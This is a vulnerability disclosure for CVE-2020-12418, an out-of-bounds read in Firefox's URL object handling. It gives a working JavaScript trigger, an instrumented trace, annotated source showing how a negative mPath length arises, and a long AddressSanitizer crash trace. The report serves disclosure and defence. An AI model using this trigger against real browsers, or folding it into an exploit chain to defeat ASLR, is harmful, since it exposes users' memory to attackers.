CVE-2020-12418
An information disclosure vulnerability exists in the URL mPath functionality of Mozilla Firefox Firefox Nightly Version 78.0a1 x64 and Firefox Release Version 76.0.2 x64. A specially crafted URL object can cause an out-of-bounds read. An attacker can visit a webpage to trigger this vulnerability.
Mozilla Firefox Firefox Nightly Version 78.0a1 x64
Mozilla Firefox Firefox Release Version 76.0.2 x64
https://www.mozilla.org/en-US/firefox/new
6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CWE-125 - Out-of-bounds Read
Mozilla Firefox is one of the most popular web browsers on the world available for a variety of the different platforms : Windows, Linux, OSX, Android and more. Its active development ensure support for the newest web technologies like HTML5 or CSS3.
The vulnerability is related with the URL
object.
A malicious web page using a proper URL
object state can leak the browser memory that consequently can help an attacker in bypassing ASLR and executing arbitrary code.
JavaScript code settings proper state in URL
object which will lead to memory leak, looks in the following way :
Line 1 urlObject = new URL("http://www.cisco.com");
Line 2
Line 3 //alloc leakSize
Line 4 leakSize = 1330;
Line 5
Line 6 urlObject.search = "A".repeat(10);
Line 7 urlObject.host = "B".repeat(leakSize);
Line 8
Line 9 //set mPath.mLen < 0
Line 10 urlObject.pathname = "";
Line 11 urlObject.search = "X";
Line 12 urlObject.host = "Y";
Line 13
Line 14 //trigger - copy(...,...,leakSize)
Line 15 urlObject.search = "C".repeat(20);
To better understand what is happening with an internal state of the urlObject
and especially with mPath
field, an execution of an “instrumented” version of the above code is shown below:
Line 1 urlObject = new URL("http://www.cisco.com");
Line 2 http://www.cisco.com/
Line 3 mPath pos : 0x14 len : 0x1
Line 4
Line 5 urlObject.search = "A".repeat(10);
Line 6 $2 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"
Line 7 http://www.cisco.com/?AAAAAAAAAA
Line 8 mPath pos : 0x14 len : 0xc
Line 9
Line 10 urlObject.host = "B".repeat(50);
Line 11 $3 = "mozilla::net::nsStandardURL::SetHostPort"
Line 12 http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?AAAAAAAAAA
Line 13 mPath pos : 0x39 len : 0xc
Line 14
Line 17
Line 18 urlObject.pathname = "";
Line 19 $4 = "mozilla::net::nsStandardURL::SetFilePath"
Line 20 http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?AAAAAAAAAA
Line 21 mPath pos : 0x39 len : 0x1
Line 22
Line 23 urlObject.search = "X";
Line 24 $5 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"
Line 25 http://bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/?X
Line 26 mPath pos : 0x39 len : 0xfffffff8
Line 27
Line 28 urlObject.host = "Y";
Line 29 $6 = "mozilla::net::nsStandardURL::SetHostPort"
Line 30 http://y/?X
Line 31 mPath pos : 0x39 len : 0xfffffff8
Line 32
Line 33 urlObject.search = "C".repeat(20);
Line 34 $7 = "mozilla::net::nsStandardURL::SetQueryWithEncoding"
Before we will continue with our analysis let’s remember the syntax of a URL as defined by the standard :
[scheme://][username[:password]@]host[:port]/path[?query_string][#ref]
Also a visualization of the urlObject
can help to understand its’ further state. The following visualization represents urlObject
after execution of code at line 10
.
mPos.mLen
+--------------+
| |
+----------------------------------------------------+
| | |
| http://bbb(...) | /?AAAAAAAAAA |
| | |
+----------------------------------------------------+
^
|
|
+
mPath.mPos
Figure 1.
where the mPath.mPos = 0x39
and mPath.mLen = 0xC
.
Next , code executed at line 18
changes the value of mPath.mLen
to 1. mPos
field is untouched.
The situation becomes more interesting when we execute code at line 23
after which the mPath.mLen
field value is equal to -8 [0xfffffff8]
. Let’s take a look at how that happened.
To understand this we need to dive into method responsible of setting search
field in URL
object , which is SetQueryWithEncoding
:
netwerk/base/nsStandardURL.cpp
nsresult nsStandardURL::SetQueryWithEncoding(const nsACString& input,
const Encoding* encoding) {
const nsPromiseFlatCString& flat = PromiseFlatCString(input);
const char* query = flat.get();
(...)
Line 2789 int32_t shift = ReplaceSegment(mQuery.mPos, mQuery.mLen, query, queryLen);
Line 2790
Line 2791 if (shift) {
Line 2792 mQuery.mLen = queryLen;
Line 2793 mPath.mLen += shift;
Line 2794 ShiftFromRef(shift);
Line 2795 }
Line 2796 return NS_OK;
Line 2797 }
At line 2789
the difference between the length of the current query string and one we want to set is calculated.
After the calculation of the shift
variable, it has the value -9
because len("X") - len("A"*10)
. Everything would be ok and the space dedicated for a query string would shrink from 10 to 1, but
using the code:
Line 18 urlObject.pathname = "";
we change mPath.mLen
value to 1
, which now after adding shift
variable at line 2793
equals 0xfffffff8
.
mPath.mLen
field value being below zero will have significant consequences for further code behavior.
Executing code:
Line 28 urlObject.host = "Y";
we change the host part of the url which should also change the mPath.mPos
field , but that did not happen:
Line 31 mPath pos : 0x39 len : 0xfffffff8
Let’s take a glance into the host
setter SetHost
method to see why that situation occurred:
netwerk/base/nsStandardURL.cpp
nsresult nsStandardURL::SetHost(const nsACString& input) {
const nsPromiseFlatCString& hostname = PromiseFlatCString(input);
(...)
Line 1979 int32_t shift = ReplaceSegment(mHost.mPos, mHost.mLen, host, len);
Line 1980
Line 1981 if (shift) {
Line 1982 mHost.mLen = len;
Line 1983 mAuthority.mLen += shift;
Line 1984 ShiftFromPath(shift);
Line 1985 }
Again the difference between the current host
string and the one being set is calculated. The shift operation which should change mPath.mPos
value takes place inside ShiftFromPath
:
netwerk/base/nsStandardURL.cpp
Line 1146 #define SHIFT_FROM(name, what) \
Line 1147 void nsStandardURL::name(int32_t diff) { \
Line 1148 if (!diff) return; \
Line 1149 if (what.mLen >= 0) { \
Line 1150 CheckedInt<int32_t> pos = what.mPos; \
Line 1151 pos += diff; \
Line 1152 MOZ_ASSERT(pos.isValid()); \
Line 1153 what.mPos = pos.value(); \
Line 1154 }
Line 1155
Line 1156 #define SHIFT_FROM_NEXT(name, what, next) \
Line 1157 SHIFT_FROM(name, what) \
Line 1158 next(diff); \
Line 1159 }
Line 1160
Line 1161 #define SHIFT_FROM_LAST(name, what) \
Line 1162 SHIFT_FROM(name, what) \
Line 1163 }
Line 1164
Line
Line 1169 SHIFT_FROM_NEXT(ShiftFromPath, mPath, ShiftFromFilepath)
At line 1153
we see code which should update mPos
field but that wont happen because our mLen
field value is -8 what does not pass constraint at line 1149
.
As a result, the memory layout of our urlObject
currently looks like this:
+-----------------+-------------------------------------------------+
| | |
| http://y/?X | RANDOM_MEMORY |
| | |
+-----------------+-------------------------------------------------+
^
|
|
+
mPath.mPos
Figure 2.
As we can see mPath.mPos
points clearly outside the memory occupied by the URL string and no longer points to the place where the url path
starts.
In this situation, execution of the next line :
Line 33 urlObject.search = "C".repeat(20);
causes a leak of memory. We find the answer inside search
field setter handler:
netwerk/base/nsStandardURL.cpp
nsresult nsStandardURL::SetQueryWithEncoding(const nsACString& input, const Encoding* encoding) {
(...)
Line 2737 if (mPath.mLen < 0) return SetPathQueryRef(flat);
We pass the constraint at line 2737
and SetPathQueryRef
is executed:
netwerk/base/nsStandardURL.cpp
nsresult nsStandardURL::SetPathQueryRef(const nsACString& input) {
Line 2064 if (!path.IsEmpty()) {
Line 2065 nsAutoCString spec;
Line 2066
Line 2067 spec.Assign(mSpec.get(), mPath.mPos);
Line 2068 if (path.First() != '/') spec.Append('/');
Line 2069 spec.Append(path);
Line 2070
Line 2071 return SetSpecInternal(spec);
Line 2072 }
Here, a new string object with the URL string is created at line 2065
. First, the old URL string is copied from the beginning to the place pointed by mPath.mPos
at line 2067
.
Now we clearly see place where the random memory will be leaked, because as shown in Figure 2. mPos
points way behind the real end of an url string end.
The leaked memory presented by code above can be used to bypass ASLR and with a combination with other vulnerability might allow an attacker to gain arbitrary code execution.
==61400==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300046b9c0 at pc 0x55a402c80f6a bp 0x7ffcb6d32410 sp 0x7ffcb6d31bd8
READ of size 1337 at 0x60300046b9c0 thread T0 (file:// Content)
#0 0x55a402c80f69 in __asan_memcpy /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#1 0x7fe0b9c225e1 in copy /builds/worker/workspace/obj-build/dist/include/nsCharTraits.h:314:9
#2 0x7fe0b9c225e1 in nsTSubstring<char>::Assign(char const*, unsigned int, std::nothrow_t const&) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:413:3
#3 0x7fe0b9c0e447 in nsTSubstring<char>::Assign(char const*, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:381:7
#4 0x7fe0ba19f266 in mozilla::net::nsStandardURL::SetPathQueryRef(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:2067:10
#5 0x7fe0ba1a5b31 in mozilla::net::nsStandardURL::SetQueryWithEncoding(nsTSubstring<char> const&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:2737:30
#6 0x7fe0c16219db in SetQuery /builds/worker/workspace/obj-build/dist/include/nsIURIMutator.h:568:25
#7 0x7fe0c16219db in mozilla::dom::URL::SetSearchInternal(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:389:18
#8 0x7fe0c162183d in mozilla::dom::URL::SetSearch(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:147:3
#9 0x7fe0bea90f4f in mozilla::dom::URL_Binding::set_search(JSContext*, JS::Handle<JSObject*>, void*, JSJitSetterCallArgs) /builds/worker/workspace/obj-build/dom/bindings/URLBinding.cpp:759:24
#10 0x7fe0bf5ff2d1 in bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3151:8
#11 0x7fe0c5b20fc0 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:493:13
#12 0x7fe0c5b20fc0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:585:12
#13 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
#14 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
#15 0x7fe0c5b252cb in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:803:10
#16 0x7fe0c61061c1 in SetExistingProperty(JSContext*, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyResult>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2809:8
#17 0x7fe0c61050d0 in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2838:14
#18 0x7fe0c5b3cdf0 in js::SetProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/ObjectOperations-inl.h:283:10
#19 0x7fe0c5b03485 in SetPropertyOperation /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:277:10
#20 0x7fe0c5b03485 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3071:12
#21 0x7fe0c5aeb205 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:465:10
#22 0x7fe0c5b210ac in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:620:13
#23 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
#24 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
#25 0x7fe0c5cbf2e2 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2840:10
#26 0x7fe0bf2039e9 in mozilla::dom::EventHandlerNonNull::Call(mozilla::dom::BindingCallContext&, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/obj-build/dom/bindings/EventHandlerBinding.cpp:276:37
#27 0x7fe0bfd34d71 in void mozilla::dom::EventHandlerNonNull::Call<nsCOMPtr<mozilla::dom::EventTarget> >(nsCOMPtr<mozilla::dom::EventTarget> const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/obj-build/dist/include/mozilla/dom/EventHandlerBinding.h:367:12
#28 0x7fe0bfd32f20 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/checkouts/gecko/dom/events/JSEventHandler.cpp:201:12
#29 0x7fe0bfcf7aae in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1088:22
#30 0x7fe0bfcf913e in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/dom/events/EventListenerManager.cpp:1280:17
#31 0x7fe0bfce787e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:356:17
#32 0x7fe0bfce6083 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:558:16
#33 0x7fe0bfcea3df in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/checkouts/gecko/dom/events/EventDispatcher.cpp:1055:11
#34 0x7fe0c217f782 in mozilla::PresShell::EventHandler::DispatchEventToDOM(mozilla::WidgetEvent*, nsEventStatus*, nsPresShellEventCB*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8521:7
#35 0x7fe0c217c9f4 in mozilla::PresShell::EventHandler::DispatchEvent(mozilla::EventStateManager*, mozilla::WidgetEvent*, bool, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8067:7
#36 0x7fe0c2175515 in mozilla::PresShell::EventHandler::HandleEventWithCurrentEventInfo(mozilla::WidgetEvent*, nsEventStatus*, bool, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7999:17
#37 0x7fe0c217a269 in mozilla::PresShell::EventHandler::HandleEventWithTarget(mozilla::WidgetEvent*, nsIFrame*, nsIContent*, nsEventStatus*, bool, nsIContent**, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7907:17
#38 0x7fe0bfc8676d in HandleEventWithTarget /builds/worker/workspace/obj-build/dist/include/mozilla/PresShell.h:650:25
#39 0x7fe0bfc8676d in mozilla::EventStateManager::InitAndDispatchClickEvent(mozilla::WidgetMouseEvent*, nsEventStatus*, mozilla::EventMessage, mozilla::PresShell*, nsIContent*, AutoWeakFrame, bool, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:4961:29
#40 0x7fe0bfc86dbf in mozilla::EventStateManager::DispatchClickEvents(mozilla::PresShell*, mozilla::WidgetMouseEvent*, nsEventStatus*, nsIContent*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:5063:17
#41 0x7fe0bfc80a11 in mozilla::EventStateManager::PostHandleMouseUp(mozilla::WidgetMouseEvent*, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:5006:17
#42 0x7fe0bfc7d6fa in mozilla::EventStateManager::PostHandleEvent(nsPresContext*, mozilla::WidgetEvent*, nsIFrame*, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/dom/events/EventStateManager.cpp:3321:18
#43 0x7fe0c217cc0a in mozilla::PresShell::EventHandler::DispatchEvent(mozilla::EventStateManager*, mozilla::WidgetEvent*, bool, nsEventStatus*, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:8091:30
#44 0x7fe0c2175515 in mozilla::PresShell::EventHandler::HandleEventWithCurrentEventInfo(mozilla::WidgetEvent*, nsEventStatus*, bool, nsIContent*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:7999:17
#45 0x7fe0c2174876 in mozilla::PresShell::EventHandler::HandleEventUsingCoordinates(nsIFrame*, mozilla::WidgetGUIEvent*, nsEventStatus*, bool) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6936:30
#46 0x7fe0c21729ba in mozilla::PresShell::EventHandler::HandleEvent(nsIFrame*, mozilla::WidgetGUIEvent*, bool, nsEventStatus*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6741:12
#47 0x7fe0c2171370 in mozilla::PresShell::HandleEvent(nsIFrame*, mozilla::WidgetGUIEvent*, bool, nsEventStatus*) /builds/worker/checkouts/gecko/layout/base/PresShell.cpp:6666:23
#48 0x7fe0c1ba9787 in nsViewManager::DispatchEvent(mozilla::WidgetGUIEvent*, nsView*, nsEventStatus*) /builds/worker/checkouts/gecko/view/nsViewManager.cpp:750:18
#49 0x7fe0c1ba93e5 in nsView::HandleEvent(mozilla::WidgetGUIEvent*, bool) /builds/worker/checkouts/gecko/view/nsView.cpp:1133:9
#50 0x7fe0c1c2cec9 in mozilla::widget::PuppetWidget::DispatchEvent(mozilla::WidgetGUIEvent*, nsEventStatus&) /builds/worker/checkouts/gecko/widget/PuppetWidget.cpp:381:37
#51 0x7fe0bcde7249 in mozilla::layers::APZCCallbackHelper::DispatchWidgetEvent(mozilla::WidgetGUIEvent&) /builds/worker/checkouts/gecko/gfx/layers/apz/util/APZCCallbackHelper.cpp:458:21
#52 0x7fe0c138401b in DispatchWidgetEventViaAPZ /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1715:10
#53 0x7fe0c138401b in mozilla::dom::BrowserChild::HandleRealMouseButtonEvent(mozilla::WidgetMouseEvent const&, mozilla::layers::ScrollableLayerGuid const&, unsigned long const&) /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1654:3
#54 0x7fe0c13834b3 in mozilla::dom::BrowserChild::ProcessPendingCoalescedMouseDataAndDispatchEvents() /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1500:7
#55 0x7fe0c13865d8 in mozilla::dom::BrowserChild::RecvRealMouseButtonEvent(mozilla::WidgetMouseEvent const&, mozilla::layers::ScrollableLayerGuid const&, unsigned long const&) /builds/worker/checkouts/gecko/dom/ipc/BrowserChild.cpp:1618:5
#56 0x7fe0bbd5ba21 in mozilla::dom::PBrowserChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBrowserChild.cpp:5086:56
#57 0x7fe0bb34e077 in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PContentChild.cpp:8484:32
#58 0x7fe0bb08e7a0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2186:25
#59 0x7fe0bb08a1ba in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2110:9
#60 0x7fe0bb08bfea in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1958:3
#61 0x7fe0bb08cb58 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1989:13
#62 0x7fe0b9e546a5 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1211:14
#63 0x7fe0b9e5e6fc in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:501:10
#64 0x7fe0bb0979d4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:109:5
#65 0x7fe0baf9bae1 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#66 0x7fe0baf9bae1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#67 0x7fe0baf9bae1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#68 0x7fe0c1c559c7 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:137:27
#69 0x7fe0c58bc52f in XRE_RunAppShell() /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:909:20
#70 0x7fe0baf9bae1 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#71 0x7fe0baf9bae1 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#72 0x7fe0baf9bae1 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#73 0x7fe0c58bbbd9 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:740:34
#74 0x55a402cb3fed in content_process_main(mozilla::Bootstrap*, int, char**) /builds/worker/checkouts/gecko/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#75 0x55a402cb4427 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:303:18
#76 0x7fe0dceacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#77 0x55a402c08b19 in _start (/home/icewall/tools/fuzzing/browsers/firefox/firefox+0x59b19)
0x60300046b9c0 is located 0 bytes to the right of 32-byte region [0x60300046b9a0,0x60300046b9c0)
allocated by thread T0 (file:// Content) here:
#0 0x55a402c81afd in malloc /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x7fe0b9c11cbd in Alloc /builds/worker/checkouts/gecko/xpcom/string/nsSubstring.cpp:206:42
#2 0x7fe0b9c11cbd in nsTSubstring<char>::StartBulkWriteImpl(unsigned int, unsigned int, bool, unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:203:32
#3 0x7fe0b9c28f6e in nsTSubstring<char>::ReplacePrepInternal(unsigned int, unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:304:43
#4 0x7fe0b9c24193 in nsTSubstring<char>::ReplacePrep(unsigned int, unsigned int, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:292:10
#5 0x7fe0b9c247a8 in nsTSubstring<char>::Replace(unsigned int, unsigned int, char const*, unsigned int, std::nothrow_t const&) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:648:13
#6 0x7fe0b9c24538 in nsTSubstring<char>::Replace(unsigned int, unsigned int, char const*, unsigned int) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:623:8
#7 0x7fe0ba192648 in Replace /builds/worker/workspace/obj-build/dist/include/nsTSubstring.h:539:5
#8 0x7fe0ba192648 in mozilla::net::nsStandardURL::ReplaceSegment(unsigned int, unsigned int, char const*, unsigned int) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1009:13
#9 0x7fe0ba19e03b in mozilla::net::nsStandardURL::SetHost(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1979:19
#10 0x7fe0ba19d002 in mozilla::net::nsStandardURL::SetHostPort(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/netwerk/base/nsStandardURL.cpp:1864:17
#11 0x7fe0c16248cb in SetHostPort /builds/worker/workspace/obj-build/dist/include/nsIURIMutator.h:514:25
#12 0x7fe0c16248cb in mozilla::dom::URL::SetHost(nsTSubstring<char16_t> const&) /builds/worker/checkouts/gecko/dom/url/URL.cpp:269:18
#13 0x7fe0bea8f54f in mozilla::dom::URL_Binding::set_host(JSContext*, JS::Handle<JSObject*>, void*, JSJitSetterCallArgs) /builds/worker/workspace/obj-build/dom/bindings/URLBinding.cpp:439:24
#14 0x7fe0bf5ff2d1 in bool mozilla::dom::binding_detail::GenericSetter<mozilla::dom::binding_detail::NormalThisPolicy>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3151:8
#15 0x7fe0c5b20fc0 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:493:13
#16 0x7fe0c5b20fc0 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:585:12
#17 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
#18 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
#19 0x7fe0c5b252cb in js::CallSetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:803:10
#20 0x7fe0c61061c1 in SetExistingProperty(JSContext*, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyResult>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2809:8
#21 0x7fe0c61050d0 in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/NativeObject.cpp:2838:14
#22 0x7fe0c5b3cdf0 in js::SetProperty(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::PropertyKey>, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::ObjectOpResult&) /builds/worker/checkouts/gecko/js/src/vm/ObjectOperations-inl.h:283:10
#23 0x7fe0c5b03485 in SetPropertyOperation /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:277:10
#24 0x7fe0c5b03485 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3071:12
#25 0x7fe0c5aeb205 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:465:10
#26 0x7fe0c5b210ac in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:620:13
#27 0x7fe0c5b2320d in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:648:10
#28 0x7fe0c5b235a0 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:665:8
#29 0x7fe0c5cbf2e2 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2840:10
